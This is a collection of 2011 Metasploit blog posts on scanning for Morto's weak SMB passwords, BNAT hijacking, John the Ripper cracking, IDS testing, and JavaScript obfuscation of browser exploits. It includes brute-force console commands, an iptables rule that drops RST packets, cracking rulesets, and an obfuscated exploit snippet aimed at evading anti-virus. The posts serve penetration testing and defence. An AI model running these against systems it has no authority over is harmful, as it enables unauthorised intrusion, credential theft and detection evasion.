Metasploit

Morto: Another reason to secure local user accounts

hdm@rapid7.com — Mon, 29 Aug 2011 07:53:12 GMT

A worm abusing the Remote Desktop service is making the rounds, currently named Morto. This worm gains access by trying a small number of weak passwords for the local Administrator account. After compromising the server, the worm propogates using mapped shares and provides remote access to the worm's creator. Most public reports involve Morto gaining access to internet-facing servers, however it is likely that once Morto is behind a firewall, it can propogate to other local systems.

Fortunately, Metasploit (Framework, Express, and Pro) provide an easy way to test for weak passwords on the local Administrator account. The Metasploit Framework provides the smb_login module, which accepts a USERPASS_FILE option for accounts to test. This module can be used to quickly sweep your network for machines that Morto can gain access to. The usage for the Metasploit Framework is below.

First grab a copy of the USERPASS_FILE that corresponds to the username and password combinations that Morto tries. This is a simple text file containing the username followed by a space and then the password, one per line. You can download a copy of this file from HERE (save it to disk).

Now that the file has been saved to disk, start your copy of the Metasploit Framework, preferably via the Metasploit Console (msfconsole).

$ msfconsole

Once the console has loaded, select the smb_login module and configure the USERPASS_FILE option.

msf > use auxiliary/scanner/smb/smb_login

msf auxiliary(smb_login) > set USERPASS_FILE /tmp/morto.txt

Now set the target range (RHOSTS) and increase the thread count (THREADS) to make things run smoothly. Disabling verbose output also makes the resulting output much more readable.

msf auxiliary(smb_login) > set RHOSTS 192.168.0.0/24

msf auxiliary(smb_login) > set THREADS 128

msf auxiliary(smb_login) > set VERBOSE false

Finally, let this module run and watch the output for successful logins. Any machine found vulnerable that has Remote Desktop exposed could become easy prey for this worm.

msf auxiliary(smb_login) > run

[*] Scanned 026 of 256 hosts (010% complete)

[+] 192.168.0.141:445|WORKGROUP - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 'admin'

[*] Scanned 125 of 256 hosts (048% complete)

[*] Scanned 127 of 256 hosts (049% complete)

[*] Scanned 142 of 256 hosts (055% complete)

[*] Scanned 157 of 256 hosts (061% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

Metasploit Express and Metasploit Pro users can do the exact same thing via the Modules tab or via the Metasploit Pro Console. There is an easier way, however, especially if you already have an active project. Login to the user interface, select a project containing recent scan data, choose Bruteforce, check only the SMB protocol, and select "Known only" as the depth. Expand the Advanced Options screen and paste the contents of the morto.txt file into the Additional Credentials field, then click Launch Bruteforce. Not only will this identify vulnerable systems, but it will return sessions on each system.

-HD

A Tale From Defcon and the Fun of BNAT

bannedit@metasploit.com — Fri, 26 Aug 2011 20:10:45 GMT

An interesting thing happened to me this year while at Defcon 19. I was in the shwag line waiting for some friends to pick out some items for their order when all of a sudden I saw a rather familiar face. At first I had no idea who he was but we both just looked at each other for a second and finally he came up to me and said "You look very familiar do I know you?". After talking for a minute I realized this was one of my friends from back home in Upstate NY, Jonathan Claudius. I actually used to ride the school bus with him and he lived about half a mile away from my house. I lived in a small town so this chance encounter was pretty mind blowing. In fact the population of the area I grew up in was roughly 12,000 according to a survey in 2009. Pretty small compared to the nearest city which had a population of 200,000 according to the same survey in 2009.

What does all this have to do with Metasploit? Well Jonathan was giving a Skytalk at Defcon and wanted me to come see his presentation. I made sure I went to the talk to see what he had been up to. It turns out his talk really impressed me. He had come up with a way of dealing with broken NAT implementations which will sometimes reply to a request with a different IP address rather than the original destination IP. This causes the communication channel to be dropped because the client does not expect this reply to come from another IP address and just sends a RST(reset) packet to the host that replied.

When you run into one of these broken implementations nmap will usually show the port your trying to reach as "filtered". Most people simply think this means the port is firewalled off and unreachable. But Jonathan, came up with a set of tools which can detect BNAT(broken NAT) implementations, and repair the communications. The tools basically listen for replies to the initial request made to detect if another IP address replies. Fixing up the communication is the next step, he wrote a tool which will fix up the source IP address of the incoming replies so that the client can handle the communications as normal.

Originally, the BNAT tools were written in ruby and using todb's PacketFu. The tools were standalone and sitting in a GIT repository. When I saw Jonathan's talk I asked him why not make the tools into modules for Metasploit. We already include the needed library, PacketFu, so porting the tools over was just a matter of cleaning up the code a little and throwing it into a module template. Jonathan wanted to port the tools over but he had never developed for Metasploit before so he needed some help. So, one night I called him up on the phone and we worked on porting the tools over for a few hours. A few days later the tools were in the Metasploit SVN repository ready for use by everyone!

The following video demos the tools and shows how a "filtered" port might actually lead to gaining access to a network:

Hopefully, after seeing the demo you can see the full potential these modules might bring to external pentests. We started out with a nmap scan which just showed the port as "filtered" and we managed to fix up the communication channel, and finally exploit a vulnerability. The purpose of this demo was to show that in networking, sometimes things are not always as they seem. A filtered/closed port can sometimes be really be open you just need to know how to communicate with it.

There are however, some caveats you need to consider when performing BNAT scanning and hijacking that make it a little harder than your normal everyday symmetric TCP communication exploit.

You need IPTables or a host-based firewall to selectively suppress reset packets or your BNAT sessions can be prematurely reset. In IPTables it can be done as follows as a preliminary setup on the Router host.
- iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
In order to perform scanning activities over the public Internet, you need to be bridged to the Internet and not behind any firewall/nat service that would enforce state or you will not even notice when you trigger BNAT because that service will prevent us from completing the session.

As always, if your interested in this and want to discuss it further you can reach us on irc.freenode.org #metasploit or follow us on twitter @claudijd and @msfbannedit.

How to update to Metasploit 4.0

christian_kirsch@rapid7.com — Mon, 01 Aug 2011 19:06:49 GMT

If you're packing to go to Black Hat, Defcon or Security B-Sides in Las Vegas, make sure you also download Metasploit 4.0 to entertain you on the plane ride. If you missed the recent announcement, check out this blog post for a list of new features.

The new version is now available for all editions, and here's how you upgrade:

Metasploit Pro and Metasploit Express 4.0: For fresh installs, download version 4.0 of Metasploit Pro or Metasploit Express and install (to try these versions, use the same links). If you already have Metasploit Pro or Metasploit Express installed, simply go to the menu item "Administration" and choose "Software Update".
Metasploit Framework 4.0: For fresh installs, download version 4.0 of Metasploit Framework and install. If you already have Metasploit Framework installed, you can use the SVN update function to upgrade to version 4.0. If you selected the automatic update during the installation of 3.7.2, youre installation should already be ready to go. If not, you can use the following steps to update:

$ sudo bash

# cd /opt/framework-3.x.x/msf3/

# svn update

In case you get stuck or have any questions, make sure you visit the Rapid7 Community to find answers, tips & tricks. Alternatively, just drop by our Black Hat booth #109 and ask us directly!

Metasploit Framework 4.0 Released!

egypt@metasploit.com — Mon, 01 Aug 2011 14:48:48 GMT

It's been a long road to 4.0. The first 3.0 release was almost 5 years ago and the first release under the Rapid7 banner was almost 2 years ago. Since then, Metasploit has really spread its wings. When 3.0 was released, it was under a EULA-like license with specific restrictions against using it in commercial products. Over time, the reasons for that decision became less important and the need for more flexibility came to the fore; in 2008, we released Metasploit 3.2 under a 3-clause BSD license. Licensing is definitely not the only place Metasploit's fexibility has increased. Over the last 5 years, we've added support for myriad exploitation techniques, network protocols, automation capabilities, and even user interfaces. The venerable msfweb is gone along with the old gtk-based msfgui. Taking their place are the newer java-based msfgui and armitage, both of which have improved by leaps and bounds since their respective introductions.

Five years ago, every exploitation tool out there was focused on running an exploit and getting a shell (usually a crappy cmd.exe shell, at that). Today, Metasploit encompasses every aspect of a penetration test. Dozens of auxiliary modules assist with reconnaisance, more than two hundred others help with information gathering and discovery; hundreds of exploits get you a toe-hold on the network; and the newest addition to the module family, post modules, help simplify and automate increasing your access. All of the data you gather can be stored in a database. For high-quality reporting and even greater automation, Metasploit Pro rounds out an engagement. Five years ago, Metasploit had already come a long way in making exploit development easier but the widespread adoption of DEP and ASLR has pushed the project even further toward accelerating what has now become a much more difficult process.

All of that leads us to the Metasploit Framework version 4.0, released today.

To make the awesomeness of 4.0 stand out visually from its predecessors, we've built an array of stunning new ASCII art banners. My favorite, of course, is this one:

In addition to the visual differences, Metasploit Framework 4.0 comes with an abundance of new features and bug fixes. Contributor TheLightCosine continues with his onslaught of password-stealing post modules and another contributor, Silent Dream, has begun helping out in that arena as well. Other post modules have seen considerable improvement and expansion thanks to Carlos Perez. The recent Exploit Bounty netted a total of six new exploit modules, and other development added another 14 since the last release.

Adding to Metasploit's extensive payload support, Windows and Java Meterpreter now both support staging over http and Windows can use https. In a similar vein, POSIX Meterpreter is seeing some new development again. The last developer left it with little documentation on how to build it, so getting it to compile was a hurdle that we put off for too long. Now that it compiles, you can expect a more flexible payload for Linux. It still isn't perfect nor is it nearly as complete as the windows version, but many features already work.

Another flexibility improvement comes in the form of a consolidated pcap interface. The pcaprub extension ships with the Linux installers as of this release and support for Windows will come soon. Modules that used Racket for generating raw packets have been converted to Packetfu, which provides a smoother API for modules to capture and inject packets. As always, you can get the latest version from http://www.metasploit.com/download/ and full details of this release can be found in the Release Notes.

Everyone on the Metasploit team is proud of the first major version bump in half a decade. May it bring you many shells.

Password Cracking in Metasploit with John the Ripper

no-reply@rapid7.com — Wed, 27 Jul 2011 17:00:31 GMT

HDM recently added password cracking functionality to Metasploit through the inclusion of John-the-Ripper in the Framework. The 'auxiliary/analyze/jtr_crack_fast' module was created to facilitate JtR's usage in Framework and directly into Express/Pro's automated collection routine. The module works against known Windows hashes (NTLM and LANMAN). It uses hashes in the database as input, so make sure you've run hashdump with a database connected to your Framework instance (Pro does this automatically) before running the module. The module collects the hashes in the database and passes them to the john binaries that are now (r13135) included in Framework via a generated PWDUMP-format file.

Several JtR modes are utilized for quick and targeted cracking. First, wordlist mode: The generated wordlist consists of the standard john wordlist with known usernames, passwords, and hostnames appended. A ruleset based on the Korelogic mutation rules is then used to generate mutations of these words. You can find the msf version of these rules here.

Once the initial wordlist bruting is complete, incremental bruting rules, aptly named All4 & Digits5, are used to brute force additional combinations. These rulesets are shown below and can be found in the same john.conf configuration file in the Framework.

Cracked values are appended to the wordlist as they're found. This is beneficial :

Previously-cracked hashes are pulled from the john.pot at the start of a run and these passwords are used as seed values for subsequent runs.
Mutation rules are applied to cracked passwords, possibly enabling other previously-uncracked hashes to be broken.

Finally, discovered username/password combinations are reported to the database and associated with the host / service.

Cracking modes:

--wordlist=<ourgenerated wordlist> --rules single --format=lm

--incremental=All4--format=lm

--incremental=Digits5--format=lm

--wordlist=<ourgenerated wordlist> --rules single --format=ntlm

--incremental=All4--format=ntlm

--incremental=Digits5--format=lm

Incremental Rulesets:

[Incremental:All4]

File = $JOHN/all.chr

MinLen = 0

MaxLen = 4

CharCount = 95

[Incremental:Digits5]

File =$JOHN/digits.chr

MinLen = 1

MaxLen = 5

CharCount = 10

As with everything in the framework, it's subject to patches and improvement, so make sure to check the code. Thanks to mubix for several edits. This info is current as of July 27, 2011.

UPDATE: Check out KoreLogic's upcoming Defcon 19 password cracking contest if you're interested in this stuff!

Metasploit 4.0 is coming soon!

christian_kirsch@rapid7.com — Tue, 26 Jul 2011 14:49:47 GMT

It'll only be days until you can download the new Metasploit version 4.0!

The new version marks the inclusion of 36 new exploits, 27 new post-exploitation modules and 12 auxiliary modules, all added since the release of version 3.7.1 in May 2011. These additions include nine new SCADA exploits, improved 64-bit Linux payloads, exploits for Firefox and Internet Explorer, full-HTTPS and HTTP Meterpreter stagers, and post-exploitation modules for dumping passwords from Outlook, WSFTP, CoreFTP, SmartFTP, TotalCommander, BitCoin, and many other applications. All of these these improvements are available in all Metasploit editions - the free and open source Metasploit Framework, as well as the commercial editions Metasploit Pro and Metasploit Express.

As usual, we'll have several blog posts about developments to the Metasploit Framework in the coming weeks. In this post, I'd like to focus on some of the new features in the commercial editions. Metasploit Pro 4.0 is all about greater enterprise integration, cloud deployment options, and penetration testing automation. The best news for customers holding a valid license for Metasploit Express or Metasploit Pro: you’ll be able to upgrade free of charge. Here are some of the features in Metasploit Pro 4.0:

Make Metasploit Pro an integral part of your risk intelligence solution

New third-party import filters: You can now import scan results from more than a dozen third-party web application scanners and additional vulnerability assessment tools to prioritize vulnerabilities and eliminate false positives (see full list of supported import formats).
Deeper integration with NeXpose: While Metasploit provides only a file import option for third-party scanners, integrate directly with one or more NeXpose scan engines to start a scan or to verify results. This is particularly useful to organizations that have deployed NeXpose as an enterprise solution. As a result, organizations can streamline the verification of vulnerabilities and reduce their remediation costs.The integration is provided through officially supported, publicly documented APIs.
Vulnerability Management List Editing: Add, modify, and delete vulnerability information directly through the product user interface to tweak imported data base on verification results and add additional findings as needed.
SIEM integration interface: Integrate Metasploit Pro with your Security Information and Event Management (SIEM) system through the RPC API and open XML format to get a better picture of your risk landscape.
Automated security tests: Programmatically remote control Metasploit Pro through a new RPC programming interface to verify vulnerabilities or test systems.

Deploy Metasploit Pro in a way that works for you

Pre-packaged images for VMware vSphere: You can now deploy Metasploit as a VMware image using VMware vSphere. This decreases provisioning costs for vulnerability programs covering remote locations. The OVF format is also compatible with other virtualization solutions.
Amazon Machine Image: If you need to conduct external penetration tests, you can easily deploy Metasploit in the Amazon Elastic Compute Cloud (EC2). Metasploit is available as an Amazon Machine Image (AMI) and payment for the hosting costs can be processed through Amazon Web Services (AWS) accounts, making provisioning quick and easy, even with small budgets.

Boost your penetration tests

Persistent agents and listeners: During a penetration test, mobile users and temporary network problems can cause established sessions to drop. Re-running the same exploit may not always lead to another session (or even be possible). Meterpreter now supports persistent agents and listeners so that the target machine actively re-establishes a session when it drops. Agents automatically expire after a pre-configured amount of time.
Macros: Write macros that get triggered by certain events. For example, if you launch a social engineering campaign, you won’t know when an email user will click on a link or open a malicious attachment, so it is not practical to wait for someone to do so and create a session. Using post-exploitation macros, you can automate what happens once a target user falls into a social engineering trap. For example, the macro could automatically loot the machine or carry out a set of pre-defined steps. Macros can chain together are arbitrary post-exploitation modules and be extended through custom post-exploitation modules.
Exploit replay: You can now replay all previously successful attacks. This makes verification of patch installation and configurations changes trivial. This also allows the export from one Metasploit copy to be used in a later verification through another copy.
Offline password cracking: As a result of Rapid7’s sponsorship of the open-source project John the Ripper, Metasploit Pro now automatically cracks weak passwords during the evidence collection phase, making it possible to replay these passwords across multiple machines and protocols.

Inform stakeholders and document compliance with updated reports

FISMA reports: Easily document compliance with FISMA through a new report that maps findings to controls and requirements.
More visual reports: Metasploit Pro reports now contain charts and diagrams that visualize the results of a penetration tests.

Other new features include

Increased exploitation speed
Updated social engineering campaigns, including the ability to clone existing websites and edit HTML in a rich editor
Updated user interface to simplify managing large projects
Easily re-run tasks that have been aborted by the user
Global settings for configuring NeXpose scan engines, macros, and API keys

If you're a Metasploit Express customer and would like to know which of these features are included in your edition, please see the Metasploit Compare & Download page.

Metasploit 4.0 will be available for download in August 2011. If you can't wait that long, register for an exclusive sneak preview with HD Moore this Thursday to see the new Metasploit Pro 4.0 in action!

-->The Metasploit Framework is continuously updated and version 4.0 marks the inclusion of 36 new exploits, 27 new post-exploitation modules and 12 auxiliary modules, all added since the release of version 3.7.1 in May 2011. These additions include nine new SCADA exploits, improved 64-bit Linux payloads, exploits for Firefox and Internet Explorer, full-HTTPS and HTTP Meterpreter stagers, and post-exploitation modules for dumping passwords from Outlook, WSFTP, CoreFTP, SmartFTP, TotalCommander, BitCoin, and many other applications. For more information on the ongoing development of the Metasploit Framework, please visit the Metasploit blog

ASCII Artists of the World UNITE!

bannedit@metasploit.com — Mon, 25 Jul 2011 14:31:25 GMT

Are you an artist? Do you possess mad ASCII art skills? Do you like the idea of having your artwork on the face of an open source project that's one of the world's largest, de-facto standard for penetration testing with more than one million unique downloads per year? Then read on!

One of the first things many people likely noticed when updating to the Metasploit Framework version 4.0-testing was the new ASCII art. In addition to all the new awesome features we have been adding to Metasploit lately we wanted to give Metasploit a new look and appearance. When version 4.0-test first came out we had roughly 5 or 6 new banners. Slowly we have been adding to that number. Now is your chance to make your mark on the Metasploit Project.

The Metasploit team would like to encourage the talented folks from every corner of the community to join the ASCII art fun, and submit your most awesome, creative banners to us. All submissions should be uploaded to either Metasploit Redmine (http://dev.metasploit.com), or e-mailed to msfdev@metasploit.com. If selected, your artwork will be committed in our banner.rb file, together with the following banners that we currently have:

For questions, as always, please feel free to drop by our IRC channel (#metasploit on irc.freenode.net).

Metasploit 4.0: The Database as a core feature

egypt@metasploit.com — Sat, 23 Jul 2011 00:57:55 GMT

Early in the 3.x days, metasploit had support for using databases through plugins. As the project grew, it became clear that tighter database integration was necessary for keeping track of the large amount of information a pentester might encounter during an engagement. To support that, we moved database functionality into the core, to be available whenever a database was connected and later added postgres to the installer so that functionality could be used out of the box. Still, the commands for dealing with the database and information stored there were sort of second-class citizens, all beginning with a "db_" prefix. We recently addressed this issue for the upcoming 4.0 release.

Commands that query the database have lost their "db_" prefix, while those that deal with managing the DB itself have retained it. For example, "db_hosts" is now just "hosts" and "db_status" remains the same. The idea behind this change is that hosts (and other entities) don't really have anything to do with the database other than the fact that they are stored there. Additionally, the deprecated db_import_*, db_create, and db_destroy have been removed.

The remaining commands have been improved by expanding search abilities and standardizing option parsing. So where you previously had to type full IP addresses to list more than one host, now all commands that search the database take hosts in nmap host specification format, and all of them that deal with services can take ports similarly. Furthermore, the options have been standardized a bit so -p always means port, -s always means service name.

Example usage for the services command:

msf > services 192.168.1-10.1,3,5 -p 22-25,80,443,445 192.168.99.0/24

Services
========

host             port  proto  name  state  info
----             ----  -----  ----  -----  ----
192.168.99.1     22    tcp    ssh   open
192.168.99.141   445   tcp    smb   open   Windows XP Service Pack 2 (language: Unknown) (name:XP-SP2) (domain:WORKGROUP)
192.168.100.129  445   tcp    smb   open   Unix Samba 3.4.7 (language: Unknown) (name:FOO) (domain:FOO)

msf >

The new changes also make it really easy to find services running on odd ports

msf auxiliary(ssh_version) > services -s ssh

Services
========

host            port  proto  name  state  info
----            ----  -----  ----  -----  ----
192.168.17.134  21    tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  22    tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  23    tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  80    tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  443   tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  1433  tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  8080  tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  8443  tcp    ssh   open   SSH-2.0-OpenSSH_4.4
192.168.17.134  9022  tcp    ssh   open   SSH-2.0-OpenSSH_4.4

msf >

An often requested feature is the ability to run a module against hosts in the database that match certain criteria. That is now possible for scanner modules with the hosts and services commands' new -R flag (and --rhosts) which sets RHOSTS to the list of hosts returned. If the result is more than 5 hosts, it makes options pretty hard to read, so Metasploit writes it out to a temporary file like so:

msf auxiliary(ssh_version) > services -s ssh --rhosts

Services
========

host             port  proto  name  state  info
----             ----  -----  ----  -----  ----
192.168.87.1     22    tcp    ssh   open   SSH-2.0-dropbear_0.52
192.168.87.119   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3
192.168.87.122   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
192.168.87.126   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2
192.168.87.140   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
192.168.87.145   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2
192.168.87.158   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
192.168.88.1     22    tcp    ssh   open   SSH-2.0-dropbear_0.52
192.168.89.1     22    tcp    ssh   open   SSH-2.0-dropbear_0.52
192.168.90.1     22    tcp    ssh   open   SSH-2.0-dropbear_0.52
192.168.90.61    22    tcp    ssh   open   SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
192.168.93.1     22    tcp    ssh   open   SSH-2.0-dropbear_0.52
192.168.96.1     22    tcp    ssh   open   SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu7
192.168.96.134   22    tcp    ssh   open   SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
192.168.98.131   22    tcp    ssh   open   SSH-2.0-OpenSSH_5.1p1 FreeBSD-20080901

RHOSTS => file:/tmp/msf-db-rhosts-20110722-19191-18zr3bq-0

msf auxiliary(ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):

   Name     Current Setting                                   Required  Description
   ----     ---------------                                   --------  -----------
   RHOSTS   file:/tmp/msf-db-rhosts-20110722-19191-18zr3bq-0  yes       The target address range or CIDR identifier
   RPORT    22                                                yes       The target port
   THREADS  254                                               yes       The number of concurrent threads
   TIMEOUT  30                                                yes       Timeout for the SSH probe

Another way to make dealing with all that data easier is through the use of workspaces. Workspaces have been around for awhile, but they are an underused feature that allows you to seperate hosts, credentials, etc. for each engagement into their own silo. Every piece of data that metasploit records is associated with the current workspace, so it's quite easy to keep related information together and segregate different engagements by switching workspaces.

The command by itself will list available workspaces, the current one marked with an asterisk:

msf > workspace
  default
* engagement_A
  engagement_B
  engagement_C
  the_whole_friggin_internet

You can change the current workspace with workspace <name>. For extra convenience, names are tab-completable, too. You can add new workspaces with -a or delete existing ones with -d. Note that -d assumes you really meant it and will happily delete the whole thing (including hosts, credentials, loot, and all) without prompting.

The journey from a glued-on appendage, to a main feature only used by db_autopwn, to a core feature integrated with the whole framework has been an adventure. I think the result is easier access to information, better seperation of that data, and a smoother, faster pentest.

Metasploit Bounty: Code, Sweat, and Tears

sinn3r@metasploit.com — Thu, 21 Jul 2011 17:12:27 GMT

After more than 30 days of hardcore and intense exploit hunting, the Metasploit Bounty program has finally come to an end. First off, we'd like to say that even though the Metasploit Framework has made exploit development much easier, the process is not always an easy task. We're absolutely amazed how hard our participants tried to make magic happen.

Often, the challenge begins with finding the vulnerable software. If you're lucky, you can find what you need from 3rd-party websites that mirror different versions of the application, or you can download the trial version from the vendor (that is, if the trial version is still vulnerable). If you can't find it this way, well, good luck getting your hands on it. This process alone can sometimes take more time than writing the exploit. Unfortunately, quite a few of our participants gave up at this phase.

The next thing you do is gather as much information as possible about the vulnerability (CVE, OSVDB, ZDI, mailing lists, blogs, vendor's bug tracking system, etc). Reverse engineer the protocol or file format you're working with, find the root-cause by using whatever techniques (patch diffing, source code auditing, fuzzing, injection, etc), and then try to trigger a crash... hopefully a good one. In two occasions, thanks to Joshua J. Drake, Jon Butler, and Carlos' reversing-fu, we found out that CVE-2011-0657 (MS11-030) and CVE-2011-1206 (IBM Tivoli LDAP) are most likely non-exploitable. Even if a vulnerability is not exploitable, the effort spent trying to exploit it is not wasted. Often times the experience of attempting a difficult exploit can be a great learning experience, and sharing that experience gives other people insight into the real impact of the vulnerability.

Once you have a nice crash, you try to exploit the bug and gain code execution. Exploitation is all about precision, and there are many things you have to consider to get reliable code execution, which means there are many ways you can fail: bad heap layout, overwrite a freed object with an incorrect size, some variable on the stack you forgot to account for, overwrite a RET address, SEH, or a ROP gadget with an address that changes with every install, every service pack, or every patch level, etc, etc. Sometimes, you don't even realize that until you start throwing the exploit against all your VMs. If that's the case, you go back and fix it... or worst case scenario, you rewrite four or five times just to get it right. And that sucks!

Keep in mind that all this hard work had to be done within one week, and many of the participants could only do it in their spare time. But of course, some lucky fews were blessed by other people from the security community with exploit writing, the Metasploit team also received assistance from fellow hackers with the vetting process. To those who helped, you know who you are -- THANK YOU!:-) But again, we would also like to thank the following people for participating, the amount of participation we saw was unexpected and greatly appreciated (for those who specified a nickname, that's the name you'll be listed here):

BH
Alino
Joshua J. Drake
glitch07
kc57
Lepke
HeadlessZeke
hal
diedthreetimes
woFF
Abysssec
Lincoln& Corelanc0d3r
"hidden"
kralor
mog
axtaxt
rusko
AmonAmarth
Rob
Patrick Webster
Boris
xero_
nebojsa
Jon Butler
mr_me
cons0ul
Juan Vazquez
Mark Scrano

Lastly, as planned, we will move on to the paying phase. And for those who are going to Las Vegas for Black Hat / Defcon, we will see you there :-)

Testing Snort IDS with Metasploit vSploit Modules

mjc@rapid7.com — Fri, 08 Jul 2011 22:24:03 GMT

One of my key objectives for developing the new vSploit modules was to test network devices such as Snort. Snort or Sourcefire enterprise products are widely deployed in enterprises, so Snort can safely be considered the de-facto standard when it comes to intrusion detection systems (IDS). So much that even third-party intrusion detection systems often import Snort rules.

Organizations are often having a tough time verifying that their IDS deployment actually work as intended, which is why I created several vSploit modules to test whether Snort sensors are seeing certain traffic. Since vSploit modules were made to trigger Snort alerts, they don't obfuscate attacks to avoid detection.

However, not every rule is used in every environment. For example, if you aren't using Microsoft Frontpage on your network, you likely won't want to use Snort's Frontpage rules. On the other hand, if you are running Frontpage you may not want to try exploiting it because it may affect the production system. Because of Metasploit Framework's flexibility, you can use the vSploit Generic HTTP Server module to host a small web server that answers all testing requests, so production systems won't be affected.

You can run vSploit modules with a mix of Metasploit Framework, Metasploit Pro, and Metasploit Express, providing there is end-to-end network connectivity to the vSploit instances:

To try out the new vSploit modules, start up the vSploit Generic HTTP Server.

Then launch Frontpage-related attack attributes:

Verify that the packets are being transmitted in Wireshark:

Finally, verify that Snort IDS sees the activity:

Metasploit vSploit Modules will be released at DEFCON 19.

Javascript Obfuscation in Metasploit

egypt@metasploit.com — Fri, 08 Jul 2011 16:34:39 GMT

As of this writing, Metasploit has 152 browser exploits. Of those, 116 use javascript either to trigger the vulnerability or as a means to control the memory layout of the browser process [1]. Right now most of that javascript is static. That makes it easier for anti-virus and IDS folks to signature. That makes it less likely for you to get a shell.

Skape recognized this problem several years ago and added Rex::Exploitation::ObfuscateJS to address it. This first-gen obfuscator was based on substituting static strings which requires a priori knowledge of what you want to substitute, meaning you need to take care of variable names. Changes to the code need to be reflected in the calls to obfuscate() and anything you miss will remain static. It also means that you have to ensure variable names don't end up in a string or elsewhere where they might get inadvertantly smashed. To overcome these limitations, several modules employ a simple technique of using random values for javascript vars but they lose out on string manipulations.

Enter RKelly, a pure-ruby javascript lexer. Having a full parser gives us a lot more power than the previous obfuscation techniques available in the framework. For one, it gives us type information for literals, which makes string and number mangling really easy. While a particular static ROP chain might be easy to fingerprint, that same string can be easily represented numerous ways through javascript manipulations. Some of the ideas for mangling literals came from Drivesploit with several new techniques thrown in as well. There's even a wrapper class, Rex::Exploitation::JSObfu for dealing with it. Syntax is simlar to it's older cousin, but without the need for klunky lists of varnames to replace.

Here's an example from windows/browser/cisco_anyconnect_exec:


    js = ::Rex::Exploitation::JSObfu.new %Q|
      var x = document.createElement("object"); 
      x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
      x.url = "#{url}/#{dir}/";
    |
    js.obfuscate
    html = "<html>\n<script>\n#{js}\n</script>\n</html>"

And the html as delivered to a browser:

<html>
<script>
var GPSweCkB = document.createElement((function () { var XoNO="ject",apoc="ob"; return apoc+XoNO })());
GPSweCkB.setAttribute((function () { var pYmx="ssid",aTIE="a",tvPA="cl"; return tvPA+aTIE+pYmx })(), (function () { var MbWt="7566",UcNA="7",PUHo="c",yFIi="6-2F5",YXvW="sid",sYCs="E-4BAF",SZBF="9",yZMK="-AC28-CF26AA",BmVk="l",AbBB="58",iRQW="636",RQLv=":55"; return PUHo+BmVk+YXvW+RQLv+SZBF+iRQW+UcNA+yFIi+sYCs+yZMK+AbBB+MbWt })());
GPSweCkB.url = String.fromCharCode(104,0164,0164,112,0x3a,0x2f,0x2f,49,50,067,056,48,0x2e,48,46,49,072,0x38,060,070,060,47,47,112,0165,0x46,0x62,0x4a,111,0146,0124,0143,0172,0x43,89,82,0x75,65,111,81,47);
</script>
</html>

Of course, this will be different for each request.

So now a call to arms. We could use some help testing 116 browser exploits to see if javascript obfuscation is viable and several issues make that more challenging. For one, getting ahold of the vulnerable software is sometimes quite difficult. Also, in some cases where the vulnerability has very restrictive memory layout requirements, obfuscation may break the exploit.

What we need is people with old browsers and old plugins/toolbars/etc who can:

Modify exploit modules to use the new obfuscation techniques
Test their changes against as many versions of the vulnerable software as possible
Test their changes against any anti-virus that claims to protect web browsing

If you're interested in helping out, contact me in #metasploit on FreeNode, or @egyp7 on twitter.

[1] Gathered with the following commands:

  $ ls modules/exploits/*/browser/*.rb | wc -l
  152
  $ ls modules/exploits/*/browser/*.rb | xargs grep '<script' | wc -l
  116

Metasploit Exploit Bounty - Status Update

hdm@rapid7.com — Thu, 30 Jun 2011 19:12:58 GMT

A few weeks ago the Metasploit team announced a bounty program for a list of 30 vulnerabilities that were still missing Metasploit exploit modules. The results so far have been extremely positive and I wanted to take a minute to share some of the statistics.

As of last night, there have been 27 participants in the bounty program resulting in 10 submissions, with 5 of those already comitted to the open source repository and the rest in varying states of completeness.

One vulnerability was proven to be incredibly difficult (and likely impossible) to exploit, as Joshua Drake writes in his extensive blog post about the research process. For those who haven't spent a week banging your head against a difficult bug, this post can give you an idea how much work is involved just to state whether or not a security flaw is exploitable. Microsoft bulletins tend to error on the side of exploitability even when there isn't direct evidence to make the case for code execution.

Christopher Mcbee (Hal) deserves recognition for being the first person to submit a module for the Siemens FactoryLink vulnerability.

Alino was not only the first person to claim a $500 bounty, but he also managed to complete a second bounty as well!

Not everything went according to plan; three participants gave up before the one week deadline, eleven folks were not able to submit something in time, and one was disqualified for attempting to submit a snippet of commercial code as their own. One thing has been clear though; the Metasploit Community includes some amazing exploit developers and has an energy level that is tough to find in any other area of information security. Since the bounty was announced we have seen a record level of new patches, modules, suggestions, and community participation in the development process.

The bounty program is still running until July 20th; if you haven't had a chance to look at the list, you are running out of time to claim an item before the final deadline. Thanks again to everyone who participated so far and keep the submissions coming!

-HD

Meterpreter HTTP/HTTPS Communication

hdm@rapid7.com — Wed, 29 Jun 2011 07:51:42 GMT

The Meterpreter payload within the Metasploit Framework (and used by Metasploit Pro) is an amazing toolkit for penetration testing and security assessments. Combined with the Ruby API on the Framework side and you have the simplicity of a scripting language with the power of a remote native process. These are the things that make scripts and Post modules great and what we showcase in the advanced post-exploit automation available today. Metasploit as a platform has always had a concept of an established connection equating to a session on a compromised system. Meterpreter as a payload has supported reverse TCP connections, bind shell listeners, transport over Internet Explorer using ActiveX controls (PassiveX),and more recently a HTTPS stager. This is finally changing.

